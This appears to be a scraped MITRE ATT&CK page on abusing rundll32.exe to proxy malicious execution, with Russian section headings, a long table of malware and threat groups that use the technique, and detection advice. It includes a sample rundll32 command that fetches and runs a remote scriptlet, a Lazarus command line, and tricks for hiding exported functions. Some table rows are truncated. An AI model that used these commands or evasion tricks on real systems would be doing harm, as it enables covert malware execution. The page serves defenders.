System Binary Proxy Execution: Rundll32
Other sub-techniques of System Binary Proxy Execution (14)
Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}
).
Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL
and Control_RunDLLAsUser
. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, ClickOnce can be proxied through Rundll32.exe.
Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"
This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)
Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction
, rundll32.exe would first attempt to execute ExampleFunctionW
, or failing that ExampleFunctionA
, before loading ExampleFunction
). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W
and/or A
to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1
).
Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion)
Примеры процедур |
|
Название | Описание |
---|---|
During Operation Dream Job, Lazarus Group executed malware with `C:\\windows\system32\rundll32.exe "C:\ProgramData\ThumbNail\thumbnail.db"`, `CtrlPanel S-6-81-3811-75432205-060098-6872 0 0 905`.(Citation: ClearSky Lazarus Aug 2020)(Citation: ESET Lazarus Jun 2020)(Citation: McAfee Lazarus Jul 2020) |
|
InvisiMole |
InvisiMole has used rundll32.exe for execution.(Citation: ESET InvisiMole June 2020) |
During C0021, the threat actors used `rundll32.exe` to execute the Cobalt Strike Beacon loader DLL.(Citation: FireEye APT29 Nov 2018) |
|
Latrodectus |
Latrodectus can use rundll32.exe to execute downloaded DLLs.(Citation: Elastic Latrodectus May 2024)(Citation: Bleeping Computer Latrodectus April 2024) |
PUNCHBUGGY |
PUNCHBUGGY can load a DLL using Rundll32.(Citation: FireEye Know Your Enemy FIN8 Aug 2016) |
BoomBox |
BoomBox can use RunDLL32 for execution.(Citation: MSTIC Nobelium Toolset May 2021) |
ADVSTORESHELL |
ADVSTORESHELL has used rundll32.exe in a Registry value to establish persistence.(Citation: Bitdefender APT28 Dec 2015) |
Briba |
Briba uses rundll32 within Registry Run Keys / Startup Folder entries to execute malicious DLLs.(Citation: Symantec Briba May 2012) |
MegaCortex |
MegaCortex has used |
SVCReady |
SVCReady has used `rundll32.exe` for execution.(Citation: HP SVCReady Jun 2022) |
GreyEnergy |
GreyEnergy uses PsExec locally in order to execute rundll32.exe at the highest privileges (NTAUTHORITY\SYSTEM).(Citation: ESET GreyEnergy Oct 2018) |
StreamEx |
StreamEx uses rundll32 to call an exported function.(Citation: Cylance Shell Crew Feb 2017) |
Emissary |
Variants of Emissary have used rundll32.exe in Registry values added to establish persistence.(Citation: Emissary Trojan Feb 2016) |
PowerDuke |
PowerDuke uses rundll32.exe to load.(Citation: Volexity PowerDuke November 2016) |
Mosquito |
Mosquito's launcher uses rundll32.exe in a Registry Key value to start the main backdoor capability.(Citation: ESET Turla Mosquito Jan 2018) |
Prikormka |
Prikormka uses rundll32.exe to load its DLL.(Citation: ESET Operation Groundbait) |
Egregor |
Egregor has used rundll32 during execution.(Citation: Cybereason Egregor Nov 2020) |
Gamaredon Group |
Gamaredon Group malware has used rundll32 to launch additional malicious components.(Citation: ESET Gamaredon June 2020) |
PolyglotDuke |
PolyglotDuke can be executed using rundll32.exe.(Citation: ESET Dukes October 2019) |
Elise |
After copying itself to a DLL file, a variant of Elise calls the DLL file using rundll32.exe.(Citation: Lotus Blossom Jun 2015) |
FIN7 |
FIN7 has used `rundll32.exe` to execute malware on a compromised network.(Citation: Mandiant FIN7 Apr 2022) |
APT19 |
APT19 configured its payload to inject into the rundll32.exe.(Citation: FireEye APT19) |
Attor |
Attor's installer plugin can schedule rundll32.exe to load the dispatcher.(Citation: ESET Attor Oct 2019) |
FunnyDream |
FunnyDream can use `rundll32` for execution of its components.(Citation: Bitdefender FunnyDream Campaign November 2020) |
Kimsuky |
Kimsuky has used `rundll32.exe` to execute malicious scripts and malware on a victim's network.(Citation: Talos Kimsuky Nov 2021) |
EnvyScout |
EnvyScout has the ability to proxy execution of malicious files with Rundll32.(Citation: MSTIC Nobelium Toolset May 2021) |
IcedID |
IcedID has used rundll32.exe to execute the IcedID loader.(Citation: Trendmicro_IcedID)(Citation: DFIR_Quantum_Ransomware) |
Backdoor.Oldrea |
Backdoor.Oldrea can use rundll32 for execution on compromised hosts.(Citation: Gigamon Berserk Bear October 2021) |
During C0015, the threat actors loaded DLLs via `rundll32` using the `svchost` process.(Citation: DFIR Conti Bazar Nov 2021) |
|
Carbanak |
Carbanak installs VNC server software that executes through rundll32.(Citation: Kaspersky Carbanak) |
APT3 |
APT3 has a tool that can run DLLs.(Citation: FireEye Clandestine Fox) |
Magic Hound |
Magic Hound has used rundll32.exe to execute MiniDump from comsvcs.dll when dumping LSASS memory.(Citation: DFIR Report APT35 ProxyShell March 2022) |
TA551 |
TA551 has used rundll32.exe to load malicious DLLs.(Citation: Unit 42 TA551 Jan 2021) |
Mispadu |
Mispadu uses RunDLL32 for execution via its injector DLL.(Citation: ESET Security Mispadu Facebook Ads 2019) |
DDKONG |
DDKONG uses Rundll32 to ensure only a single instance of itself is running at once.(Citation: Rancor Unit42 June 2018) |
gh0st RAT |
A gh0st RAT variant has used rundll32 for execution.(Citation: Arbor Musical Chairs Feb 2018) |
SDBbot |
SDBbot has used rundll32.exe to execute DLLs.(Citation: Korean FSI TA505 2020) |
Blue Mockingbird |
Blue Mockingbird has executed custom-compiled XMRIG miner DLLs using rundll32.exe.(Citation: RedCanary Mockingbird May 2020) |
Wizard Spider |
Wizard Spider has utilized `rundll32.exe` to deploy ransomware commands with the use of WebDAV.(Citation: Mandiant FIN12 Oct 2021) |
Winnti for Windows |
The Winnti for Windows installer loads a DLL using rundll32.(Citation: Microsoft Winnti Jan 2017)(Citation: Novetta Winnti April 2015) |
CozyCar |
The CozyCar dropper copies the system file rundll32.exe to the install location for the malware, then uses the copy of rundll32.exe to load and execute the main CozyCar component.(Citation: F-Secure CozyDuke) |
DEADEYE |
DEADEYE can use `rundll32.exe` for execution of living off the land binaries (lolbin) such as `SHELL32.DLL`.(Citation: Mandiant APT41) |
APT32 |
APT32 malware has used rundll32.exe to execute an initial infection process.(Citation: Cybereason Cobalt Kitty 2017) |
Heyoka Backdoor |
Heyoka Backdoor can use rundll32.exe to gain execution.(Citation: SentinelOne Aoqin Dragon June 2022) |
Mongall |
Mongall can use `rundll32.exe` for execution.(Citation: SentinelOne Aoqin Dragon June 2022) |
SUNBURST |
SUNBURST used Rundll32 to execute payloads.(Citation: Microsoft Deep Dive Solorigate January 2021) |
Bumblebee |
Bumblebee has used `rundll32` for execution of the loader component.(Citation: Proofpoint Bumblebee April 2022)(Citation: Symantec Bumblebee June 2022) |
Lazarus Group |
Lazarus Group has used rundll32 to execute malicious payloads on a compromised host.(Citation: ESET Twitter Ida Pro Nov 2021) |
TA505 |
TA505 has leveraged |
Bad Rabbit |
Bad Rabbit has used rundll32 to launch a malicious DLL as |
PcShare |
PcShare has used `rundll32.exe` for execution.(Citation: Bitdefender FunnyDream Campaign November 2020) |
CopyKittens |
CopyKittens uses rundll32 to load various tools on victims, including a lateral movement tool named Vminst, Cobalt Strike, and shellcode.(Citation: ClearSky Wilted Tulip July 2017) |
APT41 |
APT41 has used rundll32.exe to execute a loader.(Citation: Crowdstrike GTR2020 Mar 2020) |
FlawedAmmyy |
FlawedAmmyy has used `rundll32` for execution.(Citation: Korean FSI TA505 2020) |
Ninja |
Ninja loader components can be executed through rundll32.exe.(Citation: Kaspersky ToddyCat Check Logs October 2023) |
During the SolarWinds Compromise, APT29 used `Rundll32.exe` to execute payloads.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)(Citation: Microsoft Deep Dive Solorigate January 2021) |
|
UNC2452 |
UNC2452 used Rundll32 to execute payloads.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)(Citation: Microsoft Deep Dive Solorigate January 2021) |
Sandworm Team |
Sandworm Team used a backdoor which could execute a supplied DLL using rundll32.exe.(Citation: ESET Telebots July 2017) |
APT28 |
APT28 executed CHOPSTICK by using rundll32 commands such as |
Bisonal |
Bisonal has used rundll32.exe to execute as part of the Registry Run key it adds: |
HAFNIUM |
HAFNIUM has used |
USBferry |
USBferry can execute rundll32.exe in memory to avoid detection.(Citation: TrendMicro Tropic Trooper May 2020) |
Raspberry Robin |
Raspberry Robin uses rundll32 execution without any command line parameters to contact command and control infrastructure, such as IP addresses associated with Tor nodes.(Citation: RedCanary RaspberryRobin 2022) |
Pteranodon |
Pteranodon executes functions using rundll32.exe.(Citation: Palo Alto Gamaredon Feb 2017) |
During the 2015 Ukraine Electric Power Attack, Sandworm Team used a backdoor which could execute a supplied DLL using `rundll32.exe`. (Citation: Booz Allen Hamilton) |
|
NativeZone |
NativeZone has used rundll32 to execute a malicious DLL.(Citation: SentinelOne NobleBaron June 2021) |
Sakula |
Sakula calls cmd.exe to run various DLL files via rundll32.(Citation: Dell Sakula) |
ZxShell |
ZxShell has used rundll32.exe to execute other DLLs and named pipes.(Citation: Talos ZxShell Oct 2014) |
ServHelper |
ServHelper contains a module for downloading and executing DLLs that leverages |
NOKKI |
NOKKI has used rundll32 for execution.(Citation: Unit 42 NOKKI Sept 2018) |
FatDuke |
FatDuke can execute via rundll32.(Citation: ESET Dukes October 2019) |
RTM |
RTM runs its core DLL file using rundll32.exe.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019) |
Kwampirs |
Kwampirs uses rundll32.exe in a Registry value added to establish persistence.(Citation: Symantec Orangeworm April 2018) |
KONNI |
KONNI has used Rundll32 to execute its loader for privilege escalation purposes.(Citation: Medium KONNI Jan 2020)(Citation: Malwarebytes Konni Aug 2021) |
FELIXROOT |
FELIXROOT uses Rundll32 for executing the dropper program.(Citation: FireEye FELIXROOT July 2018)(Citation: ESET GreyEnergy Oct 2018) |
During Operation Spalax, the threat actors used `rundll32.exe` to execute malicious installers.(Citation: ESET Operation Spalax Jan 2021) |
|
APT29 |
APT29 has used |
Sibot |
Sibot has executed downloaded DLLs with |
Comnie |
Comnie uses Rundll32 to load a malicious DLL.(Citation: Palo Alto Comnie) |
EVILNUM |
EVILNUM can execute commands and scripts through rundll32.(Citation: Prevailion EvilNum May 2020) |
APT38 |
APT38 has used rundll32.exe to execute binaries, scripts, and Control Panel Item files and to execute code via proxy to avoid triggering security tools.(Citation: CISA AA20-239A BeagleBoyz August 2020) |
Daggerfly |
Daggerfly proxied execution of malicious DLLs through a renamed rundll32.exe binary.(Citation: Symantec Daggerfly 2023) |
BLINDINGCAN |
BLINDINGCAN has used Rundll32 to load a malicious DLL.(Citation: US-CERT BLINDINGCAN Aug 2020) |
RedCurl |
RedCurl has used rundll32.exe to execute malicious files.(Citation: group-ib_redcurl1)(Citation: group-ib_redcurl2)(Citation: trendmicro_redcurl) |
CORESHELL |
CORESHELL is installed via execution of rundll32 with an export named "init" or "InitW."(Citation: Microsoft SIR Vol 19) |
Matryoshka |
Matryoshka uses rundll32.exe in a Registry Run key value for execution as part of its persistence mechanism.(Citation: CopyKittens Nov 2015) |
Flame |
Rundll32.exe is used as a way of executing Flame at the command-line.(Citation: Crysys Skywiper) |
LazyScripter |
LazyScripter has used `rundll32.exe` to execute Koadic stagers.(Citation: MalwareBytes LazyScripter Feb 2021) |
NotPetya |
NotPetya uses |
Cobalt Strike |
Cobalt Strike can use `rundll32.exe` to load DLL from the command line.(Citation: Cobalt Strike Manual 4.3 November 2020)(Citation: DFIR Conti Bazar Nov 2021)(Citation: Trend Micro Black Basta October 2022) |
JHUHUGIT |
JHUHUGIT is executed using rundll32.exe.(Citation: F-Secure Sofacy 2015)(Citation: Talos Seduploader Oct 2017) |
HermeticWizard |
HermeticWizard has the ability to create a new process using `rundll32`.(Citation: ESET Hermetic Wizard March 2022) |
Aquatic Panda |
Aquatic Panda used rundll32.exe to proxy execution of a malicious DLL file identified as a keylogging binary.(Citation: Crowdstrike HuntReport 2022) |
Ragnar Locker |
Ragnar Locker has used rundll32.exe to execute components of VirtualBox.(Citation: Sophos Ragnar May 2020) |
MuddyWater |
MuddyWater has used malware that leveraged rundll32.exe in a Registry Run key to execute a .dll.(Citation: Securelist MuddyWater Oct 2018) |
QakBot |
QakBot has used Rundll32.exe to drop malicious DLLs including Brute Ratel C4 and to enable C2 communication.(Citation: Crowdstrike Qakbot October 2020)(Citation: Red Canary Qbot)(Citation: Cyberint Qakbot May 2021)(Citation: ATT QakBot April 2021)(Citation: Trend Micro Black Basta October 2022) |
Water Curupira Pikabot Distribution utilizes rundll32.exe to execute the final Pikabot payload, using the named exports `Crash` or `Limit` depending on the variant.(Citation: TrendMicro Pikabot 2024) |
|
Squirrelwaffle |
Squirrelwaffle has been executed using `rundll32.exe`.(Citation: ZScaler Squirrelwaffle Sep 2021)(Citation: Netskope Squirrelwaffle Oct 2021) |
Koadic |
Koadic can use Rundll32 to execute additional payloads.(Citation: Github Koadic) |
During C0018, the threat actors used `rundll32` to run Mimikatz.(Citation: Costa AvosLocker May 2022) |
Контрмеры |
|
Контрмера | Описание |
---|---|
Exploit Protection |
Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring. |
Обнаружение
Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls.
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